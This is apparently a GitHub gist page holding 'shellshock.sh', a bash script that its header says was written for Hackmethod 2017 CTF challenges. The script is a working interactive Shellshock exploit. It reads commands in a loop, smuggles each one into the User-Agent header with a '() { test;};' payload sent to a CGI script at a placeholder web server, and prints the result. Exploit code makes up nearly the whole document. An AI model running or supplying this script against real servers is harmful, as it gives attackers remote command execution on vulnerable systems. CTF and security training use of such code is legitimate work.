-
-
Save jlawhon/f7a759a2dbad806d1143aaad13a14dcd to your computer and use it in GitHub Desktop.
shellshock.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Shellshock Console | |
# Created by rstoner (Ron Stoner) | |
# for Hackmethod 2017 CTF challenges | |
# | |
# Replace {webserver} and {scriptname} with targets | |
which curl &>/dev/null | |
if [[ $? -ne 0 ]]; then | |
echo "[!] curl needs to be installed to run this script" | |
exit 1 | |
fi | |
# Execute commands | |
while :; do | |
printf "[shellshock>] " | |
read cmd | |
curl -s -A "() { test;};echo \"Content-type: text/plain\"; echo; echo;${cmd}" -O http://{webserver}:8080/cgi-bin/{scriptname} | |
cat {scriptname} | |
echo "" | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment